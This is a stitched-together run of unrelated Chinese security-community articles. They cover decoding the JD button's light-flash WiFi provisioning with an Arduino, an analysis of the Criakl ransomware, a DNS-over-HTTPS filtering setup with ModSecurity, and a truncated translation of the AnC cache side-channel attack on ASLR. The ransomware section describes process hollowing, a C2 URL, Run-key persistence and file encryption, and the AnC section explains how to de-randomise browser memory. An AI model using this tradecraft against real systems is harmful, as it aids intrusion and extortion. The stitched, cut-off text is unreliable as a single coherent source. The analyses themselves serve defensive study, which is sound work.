去年一次jd购物为了凑单花了6块钱买了个[京东来点](http://now.jd.com/)（一个类似亚马逊[DashButton](https://www.amazon.com/b?node=10667898011)的小东西）
本来琢磨着反正这么便宜，改吧改吧可以当个无线门铃或者呼叫器，无奈一直没时间下手就丢在了角落。前几天收拾屋子又翻了出来，正好折腾一下。
很多人可能都没听说过京东来点这个东西，先拖一段官网的介绍：
> Q：京东来点是什么？
> A： 来点是为对特定商品有重复性购买需求的客户而开发的京东下单硬件；
> 它可以放置在家中任何你需要的位置，连接wifi的情况下，下单时只需轻轻一点；
> 来点集合了农夫山泉、蒙牛、伊利、联合利华、金龙鱼等日销类品牌，满足消费者大部分的日常需求。专属的优惠价格，让您享受便捷的同时为您节省更多花销
### 什么是光波入网
跟DashButton一样，京东来点只有在第一次匹配绑定和修改配置的时候需要跟手机app配合，其他日常使用购买的时候是 **独立**
完成连接wifi并下单这个动作的。但跟DashButton通过 **蓝牙+wifi** 方式连接不同的是，京东来点采用的是 **光波入网**
，听起来很屌有没有。先来看看这个很屌的光波入网到底是怎么操作的。
首先扫描盒子说明书中的二维码下载app，登录京东账号后点击绑定就开始了光波入网操作，输入Wi-Fi名称和密码然后按住来点的按钮直到蓝灯闪烁
最后放到屏幕中央特定区域点击下一步
最后两张图就是入网时的状态，屏幕中央区域会不规律的黑白闪烁。等屏幕闪完来点上的灯就变成了绿色，然后app提示拿下来点继续操作，接着就是绑定购买商品。等所有操作完成之后，只要按一下来点上的按钮，就会自动帮你下单（或者放入购物车，app内设置）
无需再开启app，甚至手机都不用开。很神奇是不是，手机屏幕闪一闪这个小东西就能连上wifi直接下单买东西。
背面的这个小孔应该就是用来接收光波信号的。
### 光波入网的猜想
光波入网完成后，app第一时间就能连接到来点，所以大概可以猜到手机app在屏幕闪烁的时候至少传递了以下信息给来点
1. wifi名
2. wifi密码
3. 很大可能还包括了手机的IP地址
因为如果没有传递IP地址的话，扫描整个网段特定开放端口再连接应该不会那么快。
屏幕的黑和白闪烁很容易联想到二进制的1和0，因为闪烁的时间有长有短，所以大胆假设一下:
* 黑白两色分别为1和0
* 显示的时间长度为数据长度
比如白色为1 黑色为0 黑色显示1秒是一个0 白色显示一秒是一个1（当然没有1秒那么长，只是定义一个时间）显示2秒3秒就是两个 三个 依次类推。
### 验证猜想
为了验证上面的假设，首先我们需要一个能把光信号转换成数字信号的东西。毕竟闪成那样盯着看不瞎就不错了，别指望还能分辨出闪烁的时间长短。这里有一段[优酷的光波入网视频](http://v.youku.com/v_show/id_XMTM3Mjk2MDQzMg==.html)
直接拖到2:25就能看到入网过程的闪烁。
一开始我是打算把闪烁录下来然后放慢了记录间隔，看了几百帧后果断放弃了……还是把合适的任务交给合适的人去做吧。低成本方案是光敏电阻,大概长这样：
万能的淘宝上有进一步封装的光敏电阻模块，长这样：
是的你没看错 2块钱不到就能买到如此精致的小玩意儿。图片上这款带有DO数字开关量输出和AO模拟电压输出。
DO和AO的区别是：DO只会输出高低电平来表示光照强度是否大于某个阀值（可以通过图中蓝色电位器调整）而AO会输出光照强度的模拟电压值，通俗一点就是DO只会告诉你
**亮** 还是 **暗** ,而AO会告诉你一个数字来表示 **有多亮** 。
我手里这块只有DO输出，不过没关系，我们不用知道有多亮。只要知道是亮还是暗就行了。黑和白的差距还是很明显的，足够通过阀值判断了。
这模块可没有和电脑常见接口通信的能力，所以我们还需要一块`arduino`（或者树莓派之类的板子）来读取模块数据并传输给电脑。我这里用的是`arduino
pro micro`，买来玩badusb的。当时嫌碍事没让卖家发带插针的，现在只能自己焊了。别问我为什么只焊一边- -。
连接很简单 VCC->VCC GND->GND DO->D10 然后烧入程序
int stat= HIGH;
unsigned long startTime;
void setup() {
Serial.begin(9600);
pinMode(10, INPUT); //定义D10为输入
startTime = millis();
}
void loop() {
unsigned long curTime;
int value = digitalRead(10);
if(value != stat){ //如果光照发生变化就输出间隔时间
curTime = millis();
stat = value;
if(stat == HIGH){ //高电平 表示光照没有达到阀值 黑
Serial.print("0\t");
Serial.println(curTime-startTime);
startTime = curTime;
}else{ //低电平 表示光照超过阀值 白
Serial.print("1\t");
Serial.println(curTime-startTime);
startTime = curTime;
}
}
}
一切就绪，先在电脑上监听串口 然后手机重新打开app，点击绑定，输入wifi密码 **11111111**
然后下一步直到提示放上来点。这个时候把光敏电阻模块的感光头对准屏幕中心区域，开始入网后马上屏幕上就开始刷数据了。将所有输出保存到data.txt,然后我们拉一段出来分析。
1 50
0 49
1 201
0 48
1 200
0 49
1 50
0 49
1 53
0 49
1 205
0 43
1 210
0 40
1 52
0 65
1 50
0 49
1 212
0 40
1 203
0 49
1 50
0 53
1 49
0 44
1 201
0 47
1 51
0 49
1 50
0 50
很明显的两种长度 一种是50毫秒左右 一种是200毫秒左右。而且有个很奇怪的现象，200毫秒左右的数据只会出现在1的时候
而0全部都是50毫秒左右。如果按照我们上面的假设 两种颜色分别代表1和0， 那么所有0都是50毫秒这也太不正常了。
而且1只有50或者200毫秒两种情况也不对劲。
直接看数据有点不够直观，想办法转换成图形：
phpgd库直接画的 凑合看吧 图中横坐标是时间 纵坐标是数据（0|1）。我们原先的推测是这样的：
显然有问题， 再看上面的图片想到另一种推测：会不会1的宽度才是实际数据，而0只是做为一个间隔。
* `4个1`代表`1`
* `1个1`代表`0`
如下图:
写个脚本把刚才保存的data.txt按这个思路处理一下
<?php
$data = array();
$i = 0;
$ret = '';
$handle = @fopen("data.txt", "r");
while (!feof($handle)) {
$data[$i] = fgets($handle, 100);
$i++;
}
fclose($handle);
foreach ($data as $data) {
$arr = explode("\t", $data);
if ($arr[0] == "1") {
if ($arr[1] > 150) { //150应该足够分辨50和200了
$ret .= "1";
} else {
$ret .= "0";
}
}
}
echo "len:"strlen($ret)."\n".$ret;
?>
得到数据：
> len:256
>
> 1010110000001110010101000101000000101101010011000100100101001110010010110101111101000011001100110011001001000001010001000100010100001000001100010011000100110001001100010011000100110001001100010011000111000000101010000000000110001001001000101010000000000001
这次看起来就正常多了。数据长度是256正好可以被8整除，8位一行分割一下得到
10101100
00001110
01010100
01010000
00101101
01001100
01001001
01001110
01001011
01011111
01000011
00110011
00110010
01000001
01000100
01000101
00001000
00110001
00110001
00110001
00110001
00110001
00110001
00110001
00110001
11000000
10101000
00000001
10001001
00100010
10100000
00000001
一眼就瞄到了那连续的8个`00110001` 转换成16进制就是`31`，也就是ascii字符`1` 这不就是我们刚才在来点app设置的wifi密码么。
在刚才的脚本后面再加上一段
$str = '';
$hex = '';
$bin = '';
for ($i = 0; $i < strlen($ret) / 8; $i++) {
$tmp = substr($ret, $i * 8, 8);
$bin .= bindec($tmp) . " ";
$str .= chr(bindec($tmp)) . " ";
$hex .= dechex(bindec($tmp)) . " ";
}
echo $str . "\n" . $hex . "\n" . $bin;
重新运行得到输出：
`?? T P - L I N K _ C 3 2 A D E 1 1 1 1 1 1 1 1 ??? ?" ??`
`ac e 54 50 2d 4c 49 4e 4b 5f 43 33 32 41 44 45 8 31 31 31 31 31 31 31 31 c0
a8 1 89 22 a0 1`
`172 14 84 80 45 76 73 78 75 95 67 51 50 65 68 69 8 49 49 49 49 49 49 49 49
192 168 1 137 34 160 1`
是不是发现了很多好东西 有我们的wifi名`TP-LINK_C32ADE` wifi密码`11111111` 十进制部分还能看到`192 168 1
137`
剩下还有4位未知数据，分析未知数据主要就是提交不同的payload去收集结果，从结果中找出跟payload相关的部分。这里包括`app版本`
`系统类型(ios,android)` `wifi名` `wifi密码` `ip` `mac` 甚至还有像 `时间` `网络流量` 这些变量
经过不同设备(android,ios)多次抓取+网卡抓包，基本上明确了剩下的4位数据：
* 第一位的`ac`在不同设备不同wifi名不同密码各种情况下始终未改变 猜测是标志位 来点读取到这个标志位开始解析接下来的数据并入网
* 后面的`22 a0` 其实是app本地监听的端口(8864), 来点入网成功后会通过光波读取数据中的ip和端口连接上app。每次入网app本地监听的端口会+2，但是如果app关闭了再打开 就会从22a0(8864)重新开始。
* 最后一位应该是数据校验位,当数据相同时这一位也相同（每次重启app可以重置端口为8864），当其他任意数据改变时这一位也改变。具体算法嘛，嘿嘿……（尴尬一笑）
## 后记
好了，光波入网的分析差不多就这样了。来点跟亚马逊DashButton在设计思路上非常相似，很多DashButton的玩法都能用来点实现。可以翻墙搜一下DashButton
hack看看老外是怎么玩的。 | 社区文章 |
# Criakl勒索病毒分析简要
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
病毒分析很心酸，真的会秃头。
这个是关于Criakl勒索病毒安全预警：[https://baijiahao.baidu.com/s?id=1621544930994823264&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1621544930994823264&wfr=spider&for=pc)感谢这些安全专家吧，唉。不说了。头发真的都掉完了~~~
## 一：目录
* 1.目录
* 2.Ioc
* 3.行为分析
* 4.样本分析
* 5.技术总结
## 二：IoC
### 2.1 母文件
* 1.样本名称：ab82cb53a9c89f2e808288957be88b38.vir
* 2.样本md5：ab82cb53a9c89f2e808288957be88b38
* 3.是否加壳：UPX
* 4.编译语言：vc++
* 5.样本来源：来自于网络收集
### 2.2 子文件
* 1.样本名称:3bd50eabb01b9561afa046b34729b104.vir
* 2.样本md5：3bd50eabb01b9561afa046b34729b104
* 3.是否加壳：无
* 4.编译语言：Borland Delphi(2.0-7.0)
* 5.样本来源:母文件中释放而来
### 2.3 url
* <http://62.210.137.204/1/inst.php>
## 三：行为分析
行为分析：
## 四：样本分析
### 4.1 母体文件(Crikl.d)
* 加载名为ZZZZZ的资源文件，利用ResourceHack查看，可以明显看到文件被加密了。
* 解密资源文件，解密算法不做分析，直接OD运行跑起来就好了。根据查看Hex很明显看出来这是一个可执行文件
* 在调试过程中，发现病毒并没有采用明文的方式构建字符串，而是将字符串加密了，发现调用了几个关键的函数如下，可以知道Criakl使用了较为常见的傀儡进程的技术：
* ZwUnmapViewOfSection：解除文件映射关系
* VirtualAllocEx：分配内存空间
* WriteProcessMemory：写进程内存
* SetThreadContext：设置进(线)程上下文
* ResumeThread：唤起主线程
* 根据PE结构修复PE节区表：不然进程是跑不起来的。如下也符合Delphi程序的节区表特性
* 接下来，我们已经得到了PE数据了，我们需要做的是将恶意代码dump下来。如图：可以发现这是一个伪装成压缩包的恶意程序，但是这个程序dump出来是有问题的。
* 但是这个程序是可以运行的，根据追踪，发现他在temp目录下释放了一个ycvA文件，而且发现这个文件是一个PE文件。并且执行的流程都和我们dump出来的一样。我们有理由怀疑这个是同一个文件。
* 巧合的是：我得到两份Criakl病毒样本，一份是变种a，一份是变种d，其中释放出来的恶意（同dump出来的文件），和变种a的MD5是一样的。可以知道病毒作者在变种a的基础上加了一层保护，形成的变种d。
### 4.2 子文件(Criakl.a)
**程序流程分析**
**以下是第一种情况：不是由变种d创建的进程引发的。**
* 第一步：Dephi程序，直接定位到关键函数
* 第二歩：利用Iswow64函数判断当前计算机的位数，如果是32位机器，构造Program Files
* 第三步：构造c://Program Files//Rarlab目录
* 第四步：检查进程的默认SID，这一步的目的是为了判断本进程是否由Criakl.d创建的进程。
* 第五步：如果C://Program Files//RarLab目录不存在，创建该目录，用于存放是否的恶意文件
* 第六步：判断当前执行的文件是否有RarLab目录下释放的恶意文件执行的。
* 第七步：如果不是从RarLab下执行的恶意代码，则将当前执行的恶意样本写一份，释放到RarLab目录下
* 第八步：将释放的文件的时间修改为和svchost.exe一样，目的还是为了迷惑受害者。
* 第九步：最后执行C:Program FilesRarLabyvcA.vir文件
**以下是第二种情形：不是由变种d创建的进程引发，但是创建进程的文件目录是在RarLab下**
* 判断是否带有参数install以及计算机的位数，然后设置注册表run键，最后执行感染流程。但是这里作者是通过0号参数是文件名写入run键下的，但是作者没有对获取的文件名做验证，导致如图获取的文件名是位于桌面的分析样本，实际中，应该是位于RarLab目录下的样本。
**以下是第三种情况：是由变种d创建的进程引发的。**
* 第一步：判断当前进程是否是在C:DOCUME~1hackyLOCALS~1TempRarLab目录下，如果是则执行感染机制，否则创建该目录，用来释放恶意文件。
* 第二歩：和第一种情况相同，修改文件访问时间，并且创建新的进程。然后退出本进程
## 执行流程分析
* 判断C:Program FilesRarLabwinrar.tmp文件是否存在
**如果winrar.tmp文件存在**
* 第一步：读取winrar.tmp里面的数据。然后创建d.bat
* 第二步：之后的这个判断永远为假，对其交叉引用发现只有使用，没有修改部分，也就是说这个变量是一个常量字符串。两个比较必为假。不知道作者这步的意义是什么？【存疑】
**如果winrar.tmp文件不存在**
* 第一步：生成36轮次的随机数，然后获取本地时间，这些随机数和时间用于以后修改被感染文件的文件名。格式为随机数字符串+日期+时间+随机数(字符串)，
* 第二歩：然后经过9层加密后得到字符串，这个字符串是形成加密文件的名称的组成部分以及后期加密用的数据元
* 第三步：以Post提交请求，但是这个网站现在已经访问不了了,应该执行CC服务器的职责。
* 第三步：创建RarLab/winrar.zip,内容是之前的数据数据+这次产生的随机数据
* 第四步：获取本地磁盘盘符信息，然后进行26次循环，遍历和加密文件
* 第五步：创建d.bat,用于删除所有的 _.dat和_.exe文件，以及做本地回环测试
### 加密流程分析
整个加密流程，差不多分析了两天，里面的工程量异常巨大，频繁调用了相同的结构，但是这些结构都是采用了随机数进行加密，不清楚作者的真实意图是什么，经过分析了部分加密样本的形式，可能存在以下特征(这只是我的个人猜测)：对于较小的文件，采用填充随机字段+附加数据的方式加密文件，对于大文件，直接附加数据的方式加密。
* 首先对于x://windows目录不进行加密
* 先读取文件的内容，读取完毕后，在判断文件末尾是否存在{CRYPTENDBLACKDC}字段
* 进行了40轮次数据加密，由于程序使用了Randomize()，造成了加密的数据很大程度是随机的。
* 对于大文件来说，Criakl直接附加额外的数据，一般是通过GetPostion函数获取的设备相对位置和被加密文件的MD5值，并写入文件的末尾。
* 接下来将一些数字写入，这些数据分别代表的参数由`ReOpenBuff.cBytes`,`ReOpenBuff.szPathName`，`ReOpenBuff.szPathName[32]`等等。
* 然后写入一个通过两次设备相对位置获取的一个字符串32位字符串
* 然后附加一个随机字符+时间+随机字符的机器ID，以及文件名和结束的感染标志
* 最后修改被感染文件名：filename+id-{id}-email-[[email protected]](mailto:[email protected])-ver-4.0.0.0.cbf
*
## 五：技术总结
### 5.1 Delphi程序逆向
首先逆Delphi程序有一个神器：Delphi_Decompiler，而delphi编译出来的PE文件可能会有CODE，DATA，BSS，.IDAta，tls，.rdata，.rsrc这些段。.rsrc段比较重要，这里除了一般的资源以外，还有工程信息和DFM资源信息，这一节开始部分是常规的资源表。Delphi程序(exe)常见的入口点如下,InitExe会从.rsrc读取出资源里的drm，然后调用StartExe来从InitRoutineTable读取所有的FunTable，挨个执行对应的Routine。CreateForm创建Form是整个程序初始化的主要流程：
delphi exe入口:
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
mov eax, offset InitRoutineTable
call @@InitExe//
mov eax, ds:off_442C20
mov eax, [eax]
call unknown_libname_291
mov ecx, ds:off_442AB4
mov eax, ds:off_442C20
mov eax, [eax]
mov edx, off_441498
call @TApplication@CreateForm
mov eax, ds:off_442C20
mov eax, [eax]
call @TApplication@Run
call @@Halt0
如何定位？很简单的。先用Delphi_Decompiler查看Form，一旦找到Form，直接在IDA里面跟就能找到具体的函数，最后OD下断点即可！
Dephi采用的是Fast函数调用方式，也就是说前面3个参数用寄存器EAX,EDX,ECX保存，剩下的参数利用栈保存，返回值返回的是指针而非数据，这就需要逆向分析时先用OD转到Hex窗口，在用里面的地址值去查看具体的数据。
参考自：<https://www.52pojie.cn/thread-141040-1-1.html>
### 5.2 加密过程定位
整个分析过程中关于加密过程所浪费的时间占了60%的时间。但是也没有分析出什么特别有效的东西(写不出解密工具)，把我这几天的小小体会分享一下。
一拿到函数流程，很dan疼，可以看到流程异常复杂，之前的勒索病毒都是利用windows提供的CSP加密，所以加密流程不是很复杂(比这个明了)。全篇2600的代码量也是非常大的了，那么如何去分析呢？？
我的做法是先找入口FirstFile，出口FindClose，中间过程FindNNext。确定了三个点，之后只需要在循环里面进行就好了。然后就是调试了。
2600多行的代码调试起来相当麻烦，所以我先对其下断点，首先是递归函数，一个断点，有个rename
下一个断点，剩下是关于WriteFile下断，以及其他的重要的函数(PS:还要下一个硬件断点，emmmm忘记在哪里了)如图：
每当停下来的时候，就可以利用IDA查看交叉引用了。查看数据流的过程。 | 社区文章 |
### 前言
目前， **DNS**
服务的主要安全问题之一是DNS查询时加密性较弱。即使你浏览的网站启用了HTTPS保护，黑客还是可以窃取你和DNS服务器之间的数据包，获取你正在访问的内容。在本文中，我将向您展示如何通过HTTPS解析器将CloudFlare用作于DNS保护，以及如何使用
**libModSecurity** 过滤掉网络钓鱼站点。
> 当DNS服务不安全时，攻击者可以轻松地更改DNS的请求回复并将用户导向钓鱼站点，我们可以使用 **DNSSEC** 解决 **中间人攻击**
> 的问题，不幸的是只有一小部分网站使用了DNSSEC服务。
### DNS over HTTPS
[DNS over HTTPS（DoH）](https://en.wikipedia.org/wiki/DNS_over_HTTPS)是一种通过
_HTTPS_ 执行远程DNS解析的协议。该方法的目标是通过防止中间人攻击窃听和操纵DNS数据来提高用户隐私和安全性。 **DNS over HTTPS**
基于 **IETF** （译者注：互联网工程任务小组）下的[RFC
8484](https://tools.ietf.org/html/rfc8484)标准而制定。它使用HTTP/2和HTTPS协议，并支持“[Wire
Format](http://wiki.hl7.org.cn:81/index.php/Wire_format)（线型格式）”DNS响应数据，如果是UDP协议，响应包里面将会有[MIME
type](https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%94%E7%BD%91%E5%AA%92%E4%BD%93%E7%B1%BB%E5%9E%8B)（译者注：互联网媒体类型）为`application/dns-message`的HTTPS有效负载。
**DoH**
允许让用户将未加密的DNS查询发送到他的本地主机（例如127.0.0.1:53/udp），主机中有类似于DNS缓存服务器的东西，它可以接受查询并且通过HTTPS协议将其转发给`CloudFlare
DNS 1.1.1.1`
。在这种情况下，可以防止未加密的DNS查询被监听。为了实施滤过操作，黑名单政策，保护用户隐私，其实使用HTTP协议更加便捷。这里，我们已经将通常的DNS查询转化为加密的HTTPS请求，为什么不顺带在上面加上一些过滤策略？开源的[WAF
ModSecurity](https://modsecurity.org/)可用于制定用户可以查询和不能查询的内容的规则！
当然，我们还可以添加一个“[Pi-Hole](https://github.com/pi-hole/pi-hole/#one-step-automated-install)”
黑名单策略，以阻止用户被导向某些恶意主机。其实我们还可以做更多！众所周知，许多网络钓鱼网站通常会选择一个狡猾的主机名来欺骗用户，例如`login.google.com.access.pure-evil-phishing.xyz`，那么我们可以使用来自 _letsencrypt_ （证书颁发机构）有效ssl证书来提醒用户。
让我们来测试一下，看看我是否能够发生一个DoH 查询给Nginx服务器，该服务器上的 **ModSecurity**
已经写好了一份规则：“如果用户DNS查询中包含 _google.com_ ，并且`google`不是二级域名，`com`不是顶级域，那么将会阻止访问！ ”。
示意图：
### CloudFlare HTTPS解析机制
通过HTTPS向CloudFlare 1.1.1.1查询域名的最简单方法只需使用两个参数。我们向 _<https://cloudflare-dns.com>_
发送简单的GET请求，其中`name`为要解析的域名，`type`为所需的记录类型。这里，我们还需要将`Accept`头指定为`application/dns-json`：
$ http 'https://cloudflare-dns.com/dns-query?name=google.com&type=A' 'accept:application/dns-json'
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
CF-RAY: 4a6750253a36be52-MXP
Connection: keep-alive
Content-Length: 203
Content-Type: application/dns-json
Date: Sat, 09 Feb 2019 15:19:13 GMT
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare
Vary: Accept-Encoding
cache-control: max-age=36
{
"AD": false,
"Answer": [
{
"TTL": 36,
"data": "216.58.205.78",
"name": "google.com.",
"type": 1
}
],
"CD": false,
"Question": [
{
"name": "google.com.",
"type": 1
}
],
"RA": true,
"RD": true,
"Status": 0,
"TC": false
}
还有一种稍微复杂的方法，它需要你深入了解DNS协议。使用DNS **Wire Format** （它可以方便帮助我们创建ModSecurity规则）。
echo -n 'q80BAAABAAAAAAAAA3d3dwZnb29nbGUDY29tAAABAAE=' | base64 -d | \
curl -s -H 'content-type: application/dns-message' \
--data-binary @- https://cloudflare-dns.com/dns-query | \
hexdump -C
00000000 ab cd 81 80 00 01 00 01 00 00 00 01 03 77 77 77 |.............www|
00000010 06 67 6f 6f 67 6c 65 03 63 6f 6d 00 00 01 00 01 |.google.com.....|
00000020 c0 0c 00 01 00 01 00 00 00 ab 00 04 d8 3a cd 64 |.............:.d|
00000030 00 00 29 05 ac 00 00 00 00 00 00 |..)........|
0000003b
无论如何，和你了解的那样，DNS查询中的域名可以分解为一系列标签，标签由一个长度的八位组加上一些八位组字节组成。让我们来分析`www.google.com:`查询时的解析过程：
`\x03www\x06google\x03com`代表`www.google.com`，隔一位，后面两个字节代表记录类型（例如`A
\x00\x01`或`NS \x00\x02`等），最后两个字节用于类（`IN \x00\x01`）。域名后面通常有一个root标签的零长度的八位组字节。
利用这些，我们可以轻松地在 _bash_ 中创建序列：
echo -ne '\xab\xcd\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'\
'\x03www\x06google\x03com\x00'\
'\x00\x01\x00\x01' | \
hexdump -C
00000000 ab cd 01 00 00 01 00 00 00 00 00 00 03 77 77 77 |.............www|
00000010 06 67 6f 6f 67 6c 65 03 63 6f 6d 00 00 01 00 01 |.google.com.....|
00000020
我不想过多地讨论DNS协议，这里我只告诉你上面代码第一行的含义，`\xab\xcd\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00`它是用来声明一些有用信息的标题，比如`ID`，`flag`：“我是一个查询”等等...
这次我们用POST形式发送使用`curl`组合构造的请求。如下图所示：
echo -ne '\xab\xcd\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x06google\x03com\x00\x00\x01\x00\x01' | \
curl -s -H 'content-type: application/dns-message' \
--data-binary @- \
https://cloudflare-dns.com/dns-query | \
hexdump -C
00000000 ab cd 81 80 00 01 00 01 00 00 00 01 03 77 77 77 |.............www|
00000010 06 67 6f 6f 67 6c 65 03 63 6f 6d 00 00 01 00 01 |.google.com.....|
00000020 c0 0c 00 01 00 01 00 00 00 34 00 04 d8 3a cd 44 |.........4...:.D|
00000030 00 00 29 05 ac 00 00 00 00 00 00 |..)........|
0000003b
CloudFlare的回应显示 _www.google.com_ 的`A`记录的长度为4个字节的`0x04`，其IP为`0xd83acd44`。
### CloudFlare DoH 客户端
CloudFlare已经公开了的DoH客户端源码，在 _<https://developers.cloudflare.com/argo-tunnel/downloads/>_ 下载，安全完成后，我们使用`sudo cloudflared proxy-dns`运行：
我们有一个正在使用HTTPS和HTTP/2协议的Nginx服务器，并且安装了libModSecurity（这里有安装教程<https://www.nginx.com/blog/compiling-and-installed-modsecurity-for-open-source-nginx/）>
。首先，告诉`cloudflared`将所有请求转发到我们的网站。
# ./cloudflared proxy-dns --address 127.0.0.1 --upstream https://doh.rev3rse.it/dns-query
INFO[0000] Adding DNS upstream url="https://doh.rev3rse.it/dns-query"
INFO[0000] Starting DNS over HTTPS proxy server addr="dns://127.0.0.1:53"
INFO[0000] Starting metrics server addr="127.0.0.1:44992"
现在我们只需简单处理来自`cloudflared`的所有请求并将它们转发到 _<https://cloudflare-dns.com>_
。使用Nginx可以轻松做到：
location ~* /dns-query {
modsecurity on;
modsecurity_rules_file conf/modsecurity.conf;
proxy_redirect off;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host "cloudflare-dns.com";
proxy_pass https://cloudflare-dns.com:443;
}
重新加载Nginx配置:
Nginx上的`libModSecurity`会以 _JSON_ 格式记录每个请求， **Logstash**
（译者注：开源的服务器端数据处理管道）收集这些日志并发送到 **Elasticsearch**
（译者注：一个分布式、支持多租户的全文搜索引擎）。DoH的可以做到的最酷的事情之一是我可以使用Kibana（译者注：提供交互式可视化图形）查看请求 | 社区文章 |
翻译： **k0shl**
论文地址：http://www.cs.vu.nl/~herbertb/download/papers/anc_ndss17.pdf
作者博客：http://whereisk0shl.top
* * *
## 前言
这个关于侧信道攻击很有意思，也是颠覆一些传统观念的研究，非常值得研究，anc_ndss17.pdf是一个非常好的论文，我对这篇论文进行了翻译，同时也对AnC的源码进行了编译，初步测试，下一步打算仔细研究源码，目前C源码支持x86-64，ARM，以及AMD，平台主要在Linux，VUSec没有公开Javascript代码，因为js的实现可能对于浏览器，adobe系列等等来说还是存在很大危害的，因为这个厂商无法缓解。
但是对C源码的学习有利于我们熟悉这个漏洞，同时也有可能能将其用js实现，我将分享论文的整体框架和其中关于AnC实现部分。
首先我们来看一下整个源码的运行情况，通过测试，这个源码并非每次都能够跑出最后结果，可能受缓存噪声等因素的影响，导致有时候是失败的。
失败的情况：
成功的情况：
## AnC论文梗概
**第二章我们将提出威胁模型**
**第三章我们将讲解地址转换的细节**
这一章我们将讲解在AnC利用过程中碰到的问题，以及如何解决的
**第四五章我们将讲解解决每一个问题的细节**
**第六章我们会讲解AnC攻击最新Linux上运行的Chrome浏览器和火狐浏览器的细节**
我们将会展示AnC成功对浏览器堆的ASLR和火狐浏览器的JIT代码的ASLR进行去随机化，同时和现在的绕过ASLR的方法相比速度更快，需求更低。
**第七章我们将讨论AnC对于基于浏览器的漏洞利用和对于依赖于在地址空间中的信息隐藏或泄露对抗ASLR的安全防御的影响**
**第八章我们将讨论缓解攻击的方法**
**最后一章作为结束部分。**
首先我们需要了解AnC攻击的基本原理，实际上就是要了解物理地址和虚拟地址的转换，页表级之间的转换规则，相关的内容，在安全客上有一篇关于这个基础原理的翻译。
http://bobao.360.cn/learning/detail/3520.html
对于这种攻击方式的理解，重要的就是下面两幅图：
我们重点关注第五章 AnC的实施
## 第五章 AnC实施
安装我们的TTT和SMC计时器，我们现在继续执行第三章D节中描述的AnC。
首先在第五章A节中，我们将展示我们如何在访问目标堆以及的目标JIT区域上执行代码时触发MMU遍历。
然后我们将在第五章的B、C、D节中讨论如何识别存储目标虚拟地址的页表项的页偏移。
在第五章的E、F节中，我们将讲解我们用于观察信号并唯一地识别存储它们的缓存行内的页表项的位置的技术。
在第五章G、H节中，我们讨论了通过激活页表缓存和消除噪声来清理MMU信号的技术。
### A.触发MMU页表遍历
为了观察CPU缓存上的MMU活动，我们需要确保1）当我们访问目标时，我们知道缓冲区中页偏移，2）我们能够驱逐TLB以触发MMU 在目标内存位置上遍历。
我们讨论如何从堆内存和JIT代码中实现这些目标。
堆：我们使用ArrayBuffer类型来回退我们试图去随机化的堆内存。
ArrayBuffer总是页对齐的，这使我们能够预测目标ArrayBuffer中任何索引的相对页偏移量。 最近Intel处理器有两个级别的TLB。
第一级包括指令TLB（iTLB）和数据TLB（dTLB），而第二级是更大的统一的TLB缓存。
为了同时使用数据TLB和已定义的TLB，我们访问TLB驱逐缓冲区（应该是被驱逐行所保存的缓冲区）中的每个页面，其大小大于已定义的TLB。
我们后面将展示该TLB驱逐缓冲区也可以用于在期望的偏移处驱逐LLC高速缓存集合。
代码：为了分配足够大的JIT代码区域，我们在一个asm.js模块中喷射2的17次方个JavaScript函数。我们可以通过改变由JIT引擎编译的语句的数量来调整这些函数的大小。这些函数的机器码从一个依赖于浏览器的但是在页面中已知的偏移开始，并且在内存中彼此跟随，并且由于我们可以在目标浏览器上预测它们（机器码）的大小，我们知道每个函数从asm.js对象开始位置的偏移。为了最小化这些函数对缓存的影响但不影响它们的大小，我们在所有函数的入口添加一个if语句，以便我们可以不执行函数的逻辑。为了不遮蔽页表缓存行信号，我们的目标是一旦执行就击中单个高速缓存行，但这样做仍然会让功能之间存在大块偏移。为了在执行我们的一个功能时触发页表遍历，我们需要使用iTLB和已定义的TLB。为了使用iTLB，我们使用一个单独的asm.js对象，并执行一些功能，这些功能跨越了超过iTLB大小的页面。为了使用统一的TLB，我们使用我们用于堆的相同的TLB驱逐缓冲区。
正如我们稍后将讨论的，AnC将会在每一轮中观察到一个页偏移量。
这允许我们以不会干扰测量中的页偏移的方式为统一的TLB驱逐缓冲区选择iTLB驱逐函数和页偏移。
### B.PRIME+PROBE和MMU信号
AnC的主要思想是我们可以观察MMU的页偏移对LLC的影响。 我们可以为此目的实现两种攻击[49]：PRIME + PROBE或EVICT + TIME。
要实施PRIME + PROBE攻击，我们需要遵循以下几个步骤：
###### 1、为所有可用的页颜色构建最佳LLC驱逐集。
最佳驱逐集是被接收的内存位置的精确数目（取决于LLC设置的相关性），确保目标缓存行从托管目标缓存行的LLC缓存集合中被驱逐。
###### 2、通过访问所有驱逐集合来引导LLC。
###### 3、访问我们想要去随机化的目标虚拟地址，使其页表项进入LLC。
###### 4、通过访问所有驱逐集并测试其中哪个执行需要更长时间来探测LLC。
需要较长时间执行的驱逐集可能需要从内存中提取一个（或者多个）项，由于在初始阶段，驱逐集中的条目已经被传入LLC，并且唯一的内存引用（除了TLB驱逐集之外）是目标虚拟地址，因此，
这些“被探测的”驱逐集合中的四个已经托管了用于目标虚拟地址的页表项。 如前所述，这些缓存组唯一地标识每个页表级的页表项偏移的高6位。
然而，这种方法有两个问题。首先，从JavaScript建立最优的LLC驱逐集，PRIME +
PROBE是必需的，而最近已经被证明可能需要花费时间，特别是没有精确的计时器。第二，执行PRIME +
PROBE攻击可能存在误差，因为我们试图测量的目标将在测量中产生噪声。更确切地说，我们需要在访问目标虚拟地址之前清除TLB。我们可以在启动步骤之前或之后这样做，但是在任一情况下，驱逐TLB将导致MMU执行一些我们不想要的页表遍历。假设我们在主要步骤之前执行TLB驱逐。在执行初期步骤期间访问LLC驱逐集的中间，很有可能会发生许多TLB未命中，导致页表遍历可能在我们不知情的情况下填充已经被引导的缓存集，在探测步骤中会产生许多错误信息。现在假设我们在完成步骤之后执行TLB驱逐的步骤。类似的情况可能会发生：TLB驱逐集中的一些页面将导致页表遍历，导致填充已经被引导的缓存集，并且再次在探测中产生错误信息。
